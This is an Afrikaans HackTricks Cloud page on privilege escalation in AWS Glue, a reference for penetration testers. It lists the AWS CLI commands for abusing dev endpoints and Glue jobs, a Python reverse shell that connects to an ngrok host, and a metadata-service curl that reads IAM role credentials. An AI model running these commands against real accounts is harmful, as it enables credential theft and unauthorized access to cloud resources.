AWS - Glue Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
glue
iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Gebruikers met hierdie toestemmings kan ’n nuwe AWS Glue development endpoint opstel, ’n bestaande service role wat deur Glue aangeneem kan word, aan hierdie endpoint toewys met spesifieke permissies.
Na die opstelling kan die aanvaller per SSH op die endpoint-instansie inlog, en die IAM-inlogbewyse van die toegewezen rol steel:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Vir sluipdoeleindes word dit aanbeveel om die IAM credentials van binne die Glue virtuele masjien te gebruik.
Potensiële impak: Privesc na die glue service role wat gespesifiseer is.
glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Gebruikers met hierdie toestemming kan wysig ’n bestaande Glue development endpoint se SSH-sleutel, waardeur SSH-toegang daartoe moontlik word. Dit stel die aanvaller in staat om opdragte uit te voer met die voorregte van die rol wat aan die endpoint gekoppel is:
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Potential Impact: Privesc na die gebruikte Glue service role.
iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)
Gebruikers met iam:PassRole gekombineer met óf glue:CreateJob of glue:UpdateJob, en óf glue:StartJobRun of glue:CreateTrigger kan ’n AWS Glue-job skep of bywerk, enige Glue service account daaraan heg en die job se uitvoering begin. Die job kan enige Python-kode uitvoer, wat misbruik kan word om ’n reverse shell te vestig. Hierdie reverse shell kan dan gebruik word om die IAM credentials van die rol wat aan die Glue-job gekoppel is, te exfiltrate, wat kan lei tot potensiële ongemagtigde toegang of optrede gebaseer op die permissies van daardie rol:
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
Potensiële impak: Privesc na die gespesifiseerde glue service role.
glue:UpdateJob
Slegs met die update-permissie kan ’n aanvaller die IAM Credentials van die reeds aangehegte role steel.
Potensiële impak: Privesc na die aangehegte glue service role.
Verwysings
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

